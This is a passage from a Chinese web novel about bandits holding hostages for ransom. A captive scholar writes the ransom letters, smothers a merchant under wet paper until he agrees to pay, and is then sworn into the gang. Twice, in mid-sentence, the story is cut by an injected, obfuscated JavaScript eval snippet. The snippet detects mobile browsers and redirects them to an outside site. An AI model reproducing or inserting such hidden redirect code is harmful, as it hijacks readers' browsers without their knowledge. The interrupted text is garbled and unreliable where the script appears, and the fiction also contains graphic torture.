“一万大洋,”响马冷笑道,“拿不出来,老子就将你那身肉都剐了。” 钱老板哎呦哎呦叫起来,眼泪鼻涕一并流,说:“真的没有一万大洋,各位好汉也瞧见了,我手里的钱都砸这货上去了,倾家荡产也只能拿出五千大洋了。” 一旁瘦高的马匪蹲了下去,手里拿着把匕首,照着钱老板的手就捅了下去,说:“没有?” 钱老板惨嚎一声,浑身哆嗦,“没有,真的没有了……” “各位好汉就是真杀了我也没有一万大洋啊,”钱老板说,“真的没有那么多……” 拿鞭子的响马转了一圈,看向场上十几个肉票,那眼神刀子似的,落在谁身上都似一道破空而来的鞭子。他慢慢走了过来,指着一人,皮笑肉不笑,道:“两千大洋,有吧?” 那是个药材商,被吓得面如金纸,忙道:“有,有……” “识相。” 有钱的,愿意交赎金的被分到了一旁,没钱的穷苦百姓,自又是另一番毒打。许明意看着那负责拷问的响马离他离得越来越近,心也悬了起来。 独山龙兴致索然地看着这血腥的场面,抬脚示意了一下地上的钱老板,对二当家魏震海道:“没说实话。” 魏震海咧嘴一笑,道:“明白,会好好招待他的。” 他说:“大哥,老三和师爷被贺豹子的人打死之后,寨子里就没人识字儿了。” “老五几个也就能看几个数儿,帖子都写不明白。”帖子便是勒索赎金的信,“要不下山去抓几个读书人回来?” 独山龙说:“这不是有人吗,总有识字儿的。” 魏震海是个笑面虎,背着手,说:“你们,有会写字儿的吗?” 他虽笑盈盈的,可肉票都被他吓破了胆子,哪个还敢开口,半晌,一道虚弱颤抖的声音响了起来,“我,我识字。” 是已经被抽了十来鞭子的许明意。 纸张粗糙,笔蘸了墨,运笔的手虽发颤,可落在纸上的字却稳稳当当。许明意站在木桌前,应着响马的要求,写完了第一封勒索信。魏振海瞧了眼,嘿然道:“这小子这字儿写得比师爷好。” 独山龙笑骂:“你他娘的字儿都不认识,懂什么好坏。” 魏振海说:“咱虽然不识字儿,可好赖还是看得出来的,”说着,他将信给独山龙看,独山龙本就是个兵油子,大字不识一个,瞧了几眼,这笔字确实叫人看着心里舒畅。 魏振海:“大哥,是不是?” 独山龙哼笑了声,对魏振海道:“这儿就交给你了。” 魏振海点头道:“明白。” 不多时,独山龙便走了,魏振海转头对许明意道:“接着写。” 许明意舔了舔干涩的嘴唇,轻声说:“二当家,能给我一碗水吗?” 魏振海瞧了他一眼,挥了挥手。底下的小响马机灵地去倒了水,将送过来时却被秦河截了过去,秦河道:“我来。” 小弟自无不应。 许明意自被掳上山,就滴水未进,他搁下笔,没有看送水来的人是谁,先喝了大半碗。水是井水,清冽甘甜,干涸的五脏六腑才堪堪舒缓了许多。许明意放下碗,一抬起眼,就见秦河正兴致勃勃地探头瞧着他写的信,似乎发觉了他的目光,咧嘴一笑,露出一口白牙。 许明意认出了这个人,身上的伤顿时隐隐作痛起来,他面无表情地低下头,拿起了笔蘸墨开始写第二封信。写着信,许明意在思索自己的生路,别人或有交赎金这条路可走,他没有。响马拷问着肉票的惨叫声不时响在耳畔,其中当属钱老板叫得最是凄惨。他被响马架起来,往一张摆满了铁钉的长木凳上按,一按下去,钉子生生扎入皮肉,让人毛骨悚然。许明意竭力稳住自己的手腕,耳边除了惨叫声,肉票的哭泣声,还有响马们肆意的笑声,这些人都是亡命之徒,不乏以虐待人为乐的。 一旁秦河看着许明意吃力地拿左手按了按不自觉发颤的右手,可左手伤着,哆嗦了一下,墨水滴下去,洇开了一团。秦河心里倒是有点儿另眼相看了——这小子,不但心思深,胆子也大。 “虎哥,这有啥好看的,”涂狗儿便是那个矮个儿响马,他和秦河交情好,见秦河站在桌边,也跟了过去,说,“你又不识字。” 秦河浑不在意地说:“老子学习。” 涂狗儿笑话他,“得了吧,你那双手是拿笔的吗?” 秦河:“别瞧不起人啊。” 那边又传来钱老板的惨叫,许明意闭了闭眼睛,停住笔,没理会他面前看热闹的二人,对魏振海道:“二当家,不如将他交给我,我能让各位耳根清净,还能让他答应给一万大洋。” 此言一出,魏振海和秦河,涂狗儿都看向他,许明意做了许多天的流民,又被关了两日,头发乱糟糟的,身上也脏,有几分瘦骨伶仃的意味,看着羸弱不堪。 魏振海玩味地道:“你?” 许明意说:“是。” 魏振海端详他片刻,点了点头。 许明意缓缓走向已经瘫软在地上的钱老板,这样的人,要钱不要命。他经年走商,早知路上的盗匪图的是钱,不索命,他们对他动刑,只是想多索要赎金,尤其是他这样的肥羊。 真弄死了他,他们就什么都没有了。 许明意手里拿着让响马给他倒的一碗水,抬手就将半碗水都泼在了钱老板脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15887530|176441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 钱老板浑浑噩噩地醒了过来,下意识地舔着滴到唇边的水,他迷瞪瞪地看着搬了张小马扎坐在他身旁的人,一时间还没有反应过来。 许明意说:“钱老板。” “你家在于城吧,”许明意轻声说,他和商队同行了几日,商队当中只属钱老板事多,爱拿腔拿调,好似多看一眼商队中的穷人便脏了眼睛,许明意也受过他的白眼。蒋瑛曾开解他,说钱家生意做得大,平素就是这个样子,别和他一般见识。 钱老板没明白许明意想做什么,睁开肿了的一只眼睛望着许明意,口中喃喃道:“我只有五千大洋,没有了,别的真没有了……” 许明意看着他,竟笑了一下,没头没脑地说:“当年我还在家中读书的时候,读过一本书,里面提过一种东西,” 他手里还有一沓粗糙的信纸,他卷着手中的信纸,慢慢浸入水中,说,“叫加官进爵,很吉利,其实它还有个很好听的名字,叫雨浇梨花。” “没听过?”许明意不疾不徐地说,“就是将打湿的纸一张一张贴在脸上,原来是宫里用来处死宫人的,不留伤痕,干净,也体面。” “其实最好用桑皮纸,不过这儿没有,凑合用吧。” 他看看手中浸得半湿的纸张,又看了眼足足有他两个宽的男人,对一旁的响马道:“按住他。” 响马呆了下,竟鬼使神差地听了,可蹲下去按住钱老板肩膀后又猛地反应过来,一个肉票凭什么使唤他!刚想发作,却见许明意已经将那张打湿的纸张贴在了钱老板脸上。钱老板当即挣扎起来,骂道:“你干什么!”声音被压在湿纸下,闷闷的。 许明意说:“钱老板,你是于城大商人,钱流水似的从手里过,不过一万大洋,买你一条命,不亏。” 钱老板此时也反应过来,他又惊又怒,挣扎得劲儿也大。按着他的响马不耐烦,劈手就是一记大耳瓜子,那张湿透的纸也烂了一半。 钱老板:“好哇,你小子,想拿老子做筏子!” “这就是个流民,交不出赎金!”钱老板大喊起来,“各位好汉,他才是真该死!” 许明意不为所动,抬手又覆了一张纸,道:“我若是你,就该想怎么少吃些苦头。” “遭了这么大罪,就为了守着那五千大洋,值吗?”许明意说,“你如今受的不过是开胃菜,我听闻血腥的手段多得很,真逼急了,可不是我这般不见血的,断胳膊断腿,手指,耳朵,眼睛,指不定哪儿就没了。日后就算活着,也被人笑话,钱老板,你还怎么赚你的万两金?” 他说着,手下也没停,转眼间钱老板脸上就覆了七八张湿纸,他愈是挣扎,喘息就愈是艰难,挣扎的动作慢慢也小了。这刑法极为磨人,和粗暴的鞭子不同,它不见血,偏又能一点点剥夺人的呼吸,让人几近窒息,真正嗅到死亡的味道。 一旁的响马看着许明意那波澜不惊的模样,不由的,都有几分后背发凉。 许明意说:“不如应下这一万两,换个平安。” 突然,钱老板艰难地抬手晃了晃,许明意伸手揭下钱老板面上的湿纸。一得自由,钱老板大口大口地喘息着,愤恨又惊恐地瞪着许明意。 许明意问:“答应了?” 钱老板深深地吸了口气,冷笑道:“毛都没长齐的小崽子,想踩着老子活命,想都不要想!”若说原本是舍不得财,如今就是拼的一口气,这么一个平日里最瞧不上的贱民,穷得叮当响的臭叫花子还想拿他作筏子去邀功,想都不要想! “有种你就弄死我!” 许明意一顿,静静地看着钱老板,轻轻笑了笑,说:“钱老板,你家财万贯,和我一个一无所有的人搏命——” “我不过一条命,”许明意垂下眼睛,看着已经见底的水碗,没等他开口,有人送来了一碗,他一边又抖出一张信纸,慢慢地浸湿,“你死了,可就什么都没了。” 钱老板咬牙切齿道:“你敢弄死我吗?!” 许明意说:“钱老板可以赌一赌,我是头一回做这个,要是失手了……” 钱老板脸色一白。 许明意如法炮制,示意响马照旧按着钱老板,一边开口道:“这儿离于城其实也不是很远,真惹恼了这些响马,他们盯上钱家,闯进于城劫掠钱家也不是不可能。毕竟钱家家大业大,冒一回险,能吃上半年。” “倒不如痛痛快快地交了一万大洋,”许明意说,“你总要接着做生意,钱家的人也得活下去,总不能日日都龟缩在于城,躲在家里。” “你不顾自己的命,想想家里的妻妾、孩子,还有偌大的家业。你死了,这些就都是别人的了。” 涂狗儿看着许明意一边对钱老板用刑,一边平静地聊天,不由得搓了搓自己的手臂,小声对秦河说:“虎哥,这小子哪儿来的,怎么感觉比咱们还邪乎?” 秦河神情莫测地瞧着许明意,没有说话。 在场的响马都不曾想过,还有这样兵不血刃、斯斯文文就能折磨人的刑法,以至于后来再见许明意,都有点儿发毛。 钱老板到底是没受住,他喘不过气,许明意那些话也钻入耳朵里,不断地在脑海中重复。他死了,就什么都没有了。 他新纳的第六房小,正当花儿一般的年纪,刚会喊爹的小儿子,几个已经长大的儿子,一个个都是不成器的,他要是没了,钱家非得给他们败光……钱老板眼前阵阵发黑,空气愈发稀薄,湿哒哒的纸黏在脸上,水渗入鼻腔,眼睛,嘴唇——这小子,是真敢杀了他。 钱老板不知哪里来的力气,挥动着手,抓住了许明意又探来的手腕。 许明意看着那几根紧紧攥着他的手指,他停了片刻,对钱老板说:“答应了,就摇一下手。” 那几根手指缓缓松了开去,艰难地摆了摆,许明意悬起的那颗心也松了几分,他揭去了钱老板面上洇湿的纸张,擦了擦手,才站起身。许明意抬起头,就见一干响马都见鬼似的盯着他看,许明意面上没什么表情,转身去拿了纸笔。 “幸不辱命,”帖子写完,他双手将薄薄的一张纸交给魏振海时,方发觉自己后背已经湿透了。 许明意看着魏振海一脸稀奇地打量他,男人的嘴唇一张一合似是说了什么,许明意却一个字也听不清,眼前的人和物都不断地打转,下一瞬,整个人就倒了下去。 27. 第 27 章 许明意倒下去时,秦河眼疾手快抓住了他的手臂,没教他直挺挺地倒在地上。他看向魏振海,说:“二当家,这怎么办?” 魏振海摩挲着手中粗糙的信纸,他不是傻子,这小子如此殷勤,分明就是想为自己谋条出路。 秦河说:“寨子里正是用人的时候,不如留下他?” 魏振海说:“就怕他和咱们不是一条心。” 秦河咧嘴笑道:“他拼命想爬上咱们的船不就是想要条活路,咱们给了他,他得谢咱们。” “他要是敢有二心,直接毙了就是,在寨子里他还能翻出天?” 魏振海思索片刻,点了点头,道:“石虎,你安置他。” 所谓的安置,也有让秦河盯着他的意思,秦河应道:“得嘞。”说完,将软绵绵靠在他身上的许明意直接扛上了肩膀,对涂狗儿使了个眼色,涂狗儿会意地跟了上来。 平顶寨一众响马的屋舍都是依山而建的,涂狗儿看着秦河肩上的人,说:“虎哥,你管他干啥?这小子一看就不是个省油的灯,他可是被抓上山的,万一记恨你——” 秦河不在意地说:“记恨我的多了去,他要能弄死我算他本事。” 涂狗儿一想也是,这小子一看就不是个练家子,他们虎哥一只手都能弄死他,也就不想了,说:“他怎么好好的昏过去了?也就挨了几鞭子。” 秦河心想可不止几鞭子,他摸了摸鼻子,对涂狗儿说:“你去把老柴叫来。” 老柴是个赤脚大夫,寨子里的响马有个头疼脑热或者受了伤的都找他。涂狗儿应了声,直接跑着去了。 秦河直接把人带回了自己屋子里,可又嫌许明意脏兮兮的,目光转了圈儿,索性一手扛着人,一边抬脚将两张长木凳子一并,就将许明意放了上去。秦河看着闭着眼睛的许明意,他也不知道为什么要插手,让魏振海留下许明意,秦河就觉得这小子身上那股子劲儿怪招人的。 秦河俯身拍了拍许明意的脸颊,说:“这回可是老子帮的你,醒来要是对老子喊打喊杀的,别怪我不客气。” 许明意自是听不见的。 他太累了。 许明意和闻鹤来的私情被揭穿之后,他和张家斗智斗勇,离开四九城后一路更是险象环生,要命的黑店,截杀,响马,一路上该碰见的,不该碰见的,都撞见了。许明意一直紧绷着,从未有一刻松懈,身上旧伤添新伤,到底是熬不住了。 当天晚上,许明意就发起了高热,烧得人事不省。 涂狗儿打着哈欠,问秦河:“虎哥,照这么烧下去,他不会死吧?” 秦河看向老柴,老柴是个五十来岁的干瘪老头,他道:“这烧要是退了就死不了,要是退不下来,那就该怎么着怎么着吧。” 秦河啧了声,道:“你想想办法让人退下来啊。” 老柴很光棍,说:“药都喂了,要不你们拿帕子给他降降温,他要是还烧,那我就没办法了。” “反正这小子就是个肉票,死了就死了呗。” 许明意的事迹一下午就传遍了平顶寨,老柴来的时候也听了几耳朵。秦河说:“他以后不是肉票了,都是寨子里的兄弟。” 老柴说:“兄弟我也没法,要不你们弄山下去,再找个大夫?” 秦河还真想了一下,转念就放弃了,平顶寨下山远,又要进城,山高路远的,许明意不死也死了。 老柴临走前还不忘叮嘱秦河:“记得把诊金给我。” 转眼屋子里就剩下了秦河、涂狗儿和昏睡的许明意,涂狗儿说:“真要管他啊?” “管啊,”秦河拿了块帕子浸湿了,搭在许明意额头,说,“都到这份上了,还能把人丢出去啊?” 涂狗儿:“虎哥,要不是这小子是个男的,我都以为你看上他了。” 秦河头也不抬:“滚蛋,老子喜欢胸大屁股翘的——”他看着许明意脏了吧唧的脸蛋,干脆拽下了,胡乱在他脸上搓了搓,旋即惊咦一声,一旁瞧着的涂狗儿也惊讶地睁大了眼睛,说:“乖乖,这小子长得还挺水灵的。” 可不是,许明意皮肤细腻,因着发了高热,泛着红潮,嘴唇也红,眼睫毛纤长,当真是一张极秀逸的面容。 涂狗儿伸手戳了戳许明意的脸颊,烫的,又伸手摸人家胸口,道:“不是女的……” 话没说完,就被秦河一把拍开了,“往哪儿摸呢!” 涂狗儿嘿然道:“别说,就他这张脸,虎哥你看上他也不是不成啊。” 秦河瞥他一眼,将帕子丢他脸上,说:“他能给我生个大胖小子吗?” 涂狗儿伸手接住秦河丢来的帕子,认命地去搓干净了,递给秦河,说:“也对哈,再好看也是个带把的。” 秦河嫌他话多,说:“去歇着吧,我自个儿看着他。” 涂狗儿应道:“哎。” 涂狗儿走了,秦河坐在一旁看着许明意那张脸,鬼使神差的,也往他胸口按了下——男人,货真价实的男人。他有点儿可惜地啧了声,这小子这脾气合他胃口,脸长得也好,真是可惜了。 怎么就是个带把的呢? 许明意浑浑噩噩地做了一宿的梦,梦里一会儿是津门,一会儿是风雪里艰难向前的马车,马车一颠一颠的,他在颠簸里醒来,又看见闻鹤来,闻鹤来说,明意,我带你回淮扬。倏然又是张家人阴沉沉的面孔,张靖遥在阴影里看着他,梦中的许明意看不清他的面容,他也无暇去看,只能拼了命地转身就跑。 他跑得急,五脏六腑都火烧火燎似的,闷闷的,喘不过气。可这条狭窄的路好似没有尽头,他只能埋头向前跑,冷不丁的,一脚踏空,许明意惊叫一声,直接就睁开了眼睛。撞入眼帘的是老旧的木房梁,半晌,许明意才想起自己如今还在土匪窝,想到这儿,疼痛也似苏醒了,激烈地叫嚣着。 许明意艰难地想起身,没留神弄着左臂,疼得冷汗涔涔。秦河叼着个馒头进来,就瞧见许明意已经醒了过来,乐了,干脆靠在门上看着许明意折腾。许明意按着自己的胳膊,听见动静,一抬眼,就和秦河的目光撞了个正着,许明意浑身都紧绷了起来,下意识地去摸腰间藏着的匕首,却摸了个空。 秦河哼笑道:“醒了就成,不枉老子照顾你一宿。” 说着,迈长腿靠近,许明意手指攥紧,如同被猛兽逼近,弓起脊背伺机暴动的小兽。秦河将手中一碗馒头放在桌上,笑盈盈地问道:“吃吗?” 他个头高,双腿矫健修长,微微俯身,身影笼罩之下透着股子压迫感。许明意嘴唇抿得紧紧的,直勾勾地盯着秦河,秦河浑不在意地嚼吧嚼吧咽下了手里的半个馒头,说:“锅里还熬了粥,等着。” 说完,也不管许明意,自顾自地就出去了。 许明意看着他离去,慢慢放松了下来,他的目光环顾一周,屋子里陈列简单,墙上挂了弓箭,还有一把收在刀鞘里的长刀,旋即,他看向了桌上的馒头。白馒头,将将出炉的,还泛着香气,看着很是蓬松暄软。许明意喉结动了动,他已经有几日不曾吃过东西了。 许明意这才发现自己坐在两张长凳上。 他忍了忍,才按捺住了没有拿馒头,反而想先起身,可刚站起来,双腿一软,险些站不住,浑身酸痛乏力,鞭伤,暴力拳脚相交留下的伤都在隐隐作痛。许明意咬了咬牙,才勉强走出了屋子,外头日光极好,太阳挂在顶上,约莫是已经九点了。 许明意恍了恍神,脑子也慢慢清醒了,他明白,他这是活下来了,也将自己困在了平顶寨。 从此他也成了人人喊打,官府围剿的匪盗之流。 人之际遇,委实难以预测。 秦河端了一大碗粥打厨房钻出来,就见许明意杵在门口,他眯起眼睛,微微仰起头,不知在想什么。日光映在他苍白的脸颊,衬得肤色剔透,如同一尊漂亮的瓷娃娃。 秦河也愣了一下神,忍不住又叹气,怎么就不是个姑娘呢? “吃饭,”秦河说。 许明意转过脸,看着秦河,他那双眼睛瞳色浅淡,不咸不淡地望过来,看得秦河心脏都过电似的麻痹了一瞬。 许明意说:“哪儿沐浴?” “洗澡是吧,”秦河说,“你不饿?” 许明意:“饿。” 秦河气笑了,伸手指了下,“行,晚了我都吃完了你别哭。” 许明意不想搭理他,被关了两日,又发了一宿的烧,他觉得自己已经快臭了,当真无法再忍受下去了。 好在秦河喜洁,还在屋外辟了一间小屋子,聊作洗浴之用。山上凿井不便,取用的也是山泉水,秦河的厨房中就有一口大缸,专用来储水。 许明意左手不便,闷头一个人提着木桶吭哧吭哧提了水,狠狠地将自己搓洗了一番。水是凉水,可也顾不上挑剔了,许明意流亡了这么些时日,有些事没得讲究,也不能讲究。到底也过了这么多年的富贵日子,能选择的情况下,许明意自是想让自己稍微舒坦些。 许明意想起昏迷前赌的那一把,响马凶恶残忍,他是个肉票,写完那些勒索信,最终还是要盘问到他头上。许明意只有极力证明自己的价值,才有可能活下来——即便是自此成为匪盗响马。 许明意不想死,他还没有好好地活过一回。 世道如斯,他不执刀,最终也只会成为他人刀下鬼,怨不得他。 突然,门外想起一记嗓音,道:“洗洗就得了,回头又病了老子就将你丢出去喂狼。” “衣服给你挂门上了,”秦河说,“以后记得赔我一身。” 许明意顿了顿,抬起湿淋淋的脸颊看向紧闭的小木门,听着男人离开的脚步声心头才微松,他竟不知道秦河是什么时候走过来的。 不多时,他小心地开了一道缝,将挂在门上的衣服都抓了进来——旧衣,料子粗糙,所幸是洗干净的。许明意看着手中的衣服沉默片刻,他没想到这个打伤他,又将他掳掠上山的响马对他倒是颇为关照。过了许久,许明意才慢吞吞地换上了衣服。 他一出去,就见秦河不知打哪儿抱了一把柴火回来,二人打了个照面,都愣了下。 许明意将洗完澡,那张脸洗干净了,又带了些病气,显得分外苍白羸弱,却衬得脖颈白皙修长,很是打眼。他穿的是秦河的旧衣,可秦河足足高了许明意大半个脑袋,肩宽腿长,一身腱子肉,他的衣服出穿在过分清瘦的许明意身上自是不合身的,裤腿还挽起了几截,偏许明意这人贵气雅致,穿着粗布衣裳更是多了几分天然的素净漂亮。 许明意出身好,是许家的少爷,张家上得了台面的张家大少奶奶,那份金玉富贵养出的气韵自是秦河没见过的。他心里莫名有种让许明意穿他这身衣服,是粗布裹美玉——糟蹋了的诡异感觉,好似许明意该穿的,是布庄里最好的绸缎做的锦绣华服。 想什么呢?这就是一肉票!能给他一身衣服穿都算自己仁义了! 秦河盯着许明意看得久了,许明意的脸色一点一点变得冷淡,自打张家派来杀他的人对他起了歹心,许明意就极为厌恶别人盯着他这张脸看,否则也不会在路上将脸抹得黑黢黢的。 似乎是觉察出了许明意的不善,秦河尴尬地一笑,又不是姑娘有什么好看的?长得再是赛天仙,自己有的,他也有。 秦河清了清嗓子,说:“没想到洗干净了还挺人模人样的。” 许明意面无表情。 秦河此时也恢复如常,对许明意说:“吃的在里头,吃完把碗刷了,你自个儿的衣裳自己搓。” 秦河嘴上说将东西都吃了,却还是给许明意留了三个大馒头,粥也留了一海碗,白米粥,熬得软糯细腻带着米香。自在黑店里遭算计之后,许明意一路上都是凑合着吃的干粮,乍捧上这么一碗白米粥,白面蒸的馒头,肚子先咕咕叫了起来,当下再忍耐不住,馒头就粥呼噜呼噜祭了五脏庙。 许明意这些日子饱尝人情冷暖,而今又是人在屋檐下,虽记着秦河差点拧断他手臂的仇,用过饭,还是老老实实地将碗收拾了,去刷碗洗衣服。 涂狗儿来的时候就见秦河和许明意,二人一个在劈柴,一个在搓衣服,还以为自己进错了地方,抬抬头瞅瞅门,又瞅瞅秦河,才反应过来,没走错地方。 涂狗儿:“虎哥!” 他先叫了起来,手里还拿了一兜红通通的柿子,说:“今儿早上和刘三儿他们去摘了柿子,给你拿点儿。” 秦河搁下了手里的斧子,对涂狗儿道:“谢了,放那儿吧。” 二人很是熟稔,涂狗儿将柿子兜放一旁,对秦河说:“他干嘛呢?” 秦河说:“洗衣服啊。” 涂狗儿:“……他好了?” “昨儿晚上不是还烧着吗?” 秦河不以为意道:“这不是醒了么,他自己的衣服不自己搓,还要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15887531|176441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我给他洗吗?” 涂狗儿嘿然一笑,道:“这小子命还真大。” 二人正说着,许明意将搓干净的衣服丢桶里,站起身,他身体正虚弱,起得太急眼前发黑,撑着墙缓了半晌,才没有摔在地上。他提着木桶,回过身,就见一个瘦瘦小小的男人好奇地盯着他看,他冷淡地看了他一眼,一言不发地去晾晒衣服。 涂狗儿微微睁大眼睛,半晌,说:“他怎么长这么白……跟白面大馒头似的!” 秦河想起早上揉的馒头,深以为然。 涂狗儿说:“哎,真可惜,是个男人。”说着,还颇为惋惜地瞧着许明意瘦削的背影,突然,发现了什么似的,说:“虎哥,那不是你的衣服吗?” 秦河:“昂。” “他就那一身衣服。” 涂狗儿想想,也是,他嘿嘿笑道:“虎哥,怎么你那衣服穿他身上,比穿你身上好看?” 秦河一巴掌拍他后脑勺,道:“你老盯着他好看不好看干什么,转性了?” “哎呦!”涂狗儿揉了揉自己的脑袋,说,“哪儿能啊,我又不是曹贡兄弟。” 秦河听见这二人的名字,皱了皱眉,曹贡兄弟也是平顶寨中响马,二人独好清秀少年。这二人凶戾残暴,手底下没少出人命。 许明意晾晒好了衣服,刚转过身,就听涂狗儿道:“哎,你叫什么?” “我叫涂狗儿,这是我大哥,秦河,你可以叫虎哥,”涂狗儿笑嘻嘻道,“小子我可告诉你,要不是我虎哥开口,二当家说不定就把你丢回黑屋子里,你就死了。” “我虎哥救了你。” 许明意看着二人,面上没什么表情,过了好一会儿,道:“许明意。” 涂狗儿眨了眨眼睛,道:“这读书人的名字就是和咱们不一样,怪拗口的。” “二当家已经答应留下你了,等你好些了,见过大当家,就是自己人了。” 对于涂狗儿所说的,二当家答应留下他,许明意并不意外,否则他不会在这个地方醒过来。许明意点了点头,提着木桶便走了。 许明意就暂且留在了秦河的家中。秦河光棍一个,他自己也不明白,为什么要收留许明意,他算不上一个好人,落草为寇的这几年里,手上更是没少沾人命。 兴许是看见许明意,便想到当年因官府通缉,只能不断逃亡的自己。 秦河这人一身江湖习气,对敌人下狠手,对自己人倒是讲道义。他虽和许明意有些龃龉,可那时他是劫掠的响马,许明意是被劫的,如今许明意已经是寨子里的人了,也算兄弟。当天下午,秦河就将隔壁堆放杂物的小间拾掇了出来,还安置了一张简陋的木床,让许明意住。 秦河还会下厨,做的竟也不错,菜是地里拔出来的萝卜青菜,他还切了腌肉,二人都是男人,秦河饭量大,做的菜量也足。看着许明意吃着他做的菜,露出的一抹诧异,他还颇为自傲,说他这手艺,比寨子里做饭的婶子还好,不是谁都能吃上的。 许明意瞥他一眼,不吭声,却往碗里多夹了一块肉。 最后洗碗的还是许明意,秦河说,没道理做饭的是他,洗碗的还是他,许明意又不是他媳妇,凭什么让他伺候着。许明意冷笑道,哪家姑娘想不明白嫁响马? 秦河嘿了声,说,瞧不起响马?你也是响马了。 又过了几日,许明意身体养得好些了,秦河带他去见独山龙。临出门前,看着他那张和响马格格不入的脸,伸手探过去的时候,许明意浑身紧绷,戒备地盯着他,“你干什么?” 秦河啧了声,捋了捋许明意乱糟糟的头发,半遮住眉眼,道:“你这头发哪儿弄的,跟狗啃似的,我要是这个剃头匠,干脆把干活的家伙儿都折了算了。” 许明意看了眼他那剃得能看见青茬儿的头皮,秦河生得浓眉大眼,轮廓深刻利落,个头高又精壮,显得很有股子匪气。 独山龙显然是知道许明意的,他瞧了许明意半晌,又看向秦河,秦河点了下头,拿过一旁的碗,倒下半碗酒,又走向许明意。许明意看着他握着匕首走向自己,心紧了紧,就听秦河说:“伸手。” 过了几息,许明意伸出了自己的左手,秦河握着匕首在他掌心一划,瞬间就见了血,血水滴答滴答淌入碗中。寨中供奉的是关二爷,案上点了香,青烟袅袅,秦河说:“许明意,你对关二爷起誓,自今天起加入平顶寨,从此以后和寨中兄弟互相扶持,不背叛寨子,如有二心,天诛地灭,死无全尸。” 许明意掌心吃了疼,却忍住了没有抽回手,他看着那碗血红的酒,开口道:“我许明意对关二爷立誓,自今天起加入平顶寨,从此以后和寨中兄弟互相扶持,不背叛寨子,如有二心,天诛地灭,死无全尸。” 说罢,接过秦河递来了的酒,忍住喉咙里漫上的恶心感,一饮而尽。 “好!”独山龙突然大笑出声,他看着许明意利落的动作,抬手拍了拍他的肩膀,道,“以后就是自己的兄弟了,有福同享有难同当!” 许明意拱手道:“多谢大当家,给我一个容身之处。” 独山龙说:“都是自家人,说什么谢不谢的。” “都说不打不相识,”独山龙说,“等这票干完,庆功宴上,好好地喝上几杯,要是有些什么不快的,就算过去了。” 许明意自是应和,道:“是。” 许明意和秦河离开了独山龙的主屋,秦河道:“都得走这一遭,是寨子里的规矩。” 许明意没有说话,他看着掌心的伤,秦河下刀有分寸,又洒了止血的药粉,血已经止住了。 秦河哼笑道:“放心,没几天就好了,老柴就配的止血药粉最管用,”他有点儿肉疼,说,“就是卖得贵,那么一点儿,敢要一块大洋,嗐,以后你就知道了。” 许明意听着“以后”两个字,恍了一下神,说他:“药本就贵。” 秦河气笑了,“你还替他说话,对了,你回头将他给你看病的诊金还我。” 许明意说:“多少?” 秦河:“出诊加药钱,三块大洋加一百文,一百文就算了,就三块大洋吧。” 许明意:“……日后还你。” 半晌,还是忍不住说他:“抠搜。” 秦河不以为然,道:“你一不是我兄弟,而不是我媳妇,为什么给你花钱?” “我爹说了,钱得花在刀刃上。” 28. 第 28 章 拜会过独山龙,以血为誓之后,他的响马身份便算是过了明路,自此就是平顶寨的响马了。响马——那是许明意此前无论如何也想不到的,可他在津门时,一样没有想过他有朝一日会成为他人的妻子。 许明意想,要是张家知道张家大少奶奶落草为寇,约莫恨不得自己从没踏进过张家的门吧。 那之后,许明意难得的过了一段几乎称得上平静的日子,不用提心吊胆地逃亡,奔波,虽然他的枕边下还压着匕首。说来这把匕首还是秦河还给他的,他杀了张家派来追杀他的那两个人,摸走了他们身上零碎的钱,还有一把匕首。后来和秦河交手,匕首被他夺了去,没想到而今又回到了他手上。 许明意看着他抛过来的匕首,问秦河:“你不怕我杀了你?” 秦河道:“神明在上,你可是起过誓!” 许明意不言语,他不信神明,如果真有神明,何以他要遭受如此多的不公?他这一路走来,也见过许多卑微求生的无辜百姓,他们又做错了什么,要流离失所,受尽贫病欺辱? 杀人放火金腰带,修桥补路有尸骸。 许明意只信自己。 秦河琢磨了一会儿,说:“不对啊,我也没怎么你啊,怎么就到了要杀我的份儿上了?” 许明意抬起眼睛看了他一眼,秦河目光落在他肩上,理直气壮道:“你先拿刀要杀我的。” 许明意面无表情道:“你是响马,我还要束手就擒?” 秦河刚想说他可不是束手就擒,想起什么,嘿然道:“那天那么拼命,是想护着那跑了的姑娘吧?” “她是你什么人啊,舍命都要拦住我?” 许明意道:“和你无关。” 秦河说:“你们该不会的私奔的吧?戏台上不都这么唱吗,大户人家的姑娘,穷小子,她爹娘不同意,你们就连夜私奔……”说着,想起许明意也瞧着不像个穷小子,嘀咕道,“怎么说的来着,你家家道中落,她家嫌贫爱富,不愿意把姑娘嫁给你,所以你们跑了?” 许明意:“……” 许明意和秦河住在一起,不过几日,他就发觉秦河这人在平顶寨中人缘极好,拿涂狗儿的话来说便是秦河的身手是寨中数一数二的,人又仗义,大家自然都敬着他。 旁人敬不敬尚且两说,涂狗儿倒是真敬重秦河,俨然他的狗腿子。涂狗儿是秦河这小院的常客,常在吃饭的时候过来,有时带一把野菜,有时提条不知从哪儿弄来的鱼,偶尔还能抓几只兔子,不管他带了什么来,都成了桌上的菜,进了三人的肚子。 秦河对此显然习以为常,他不爱去寨子里吃饭,便自己动手做。他自懂事起就照顾他爹,练出了一手好厨艺,做饭嘛——自己一个人的是做,再加上一个兄弟的,也就是多抓一把面的事儿。 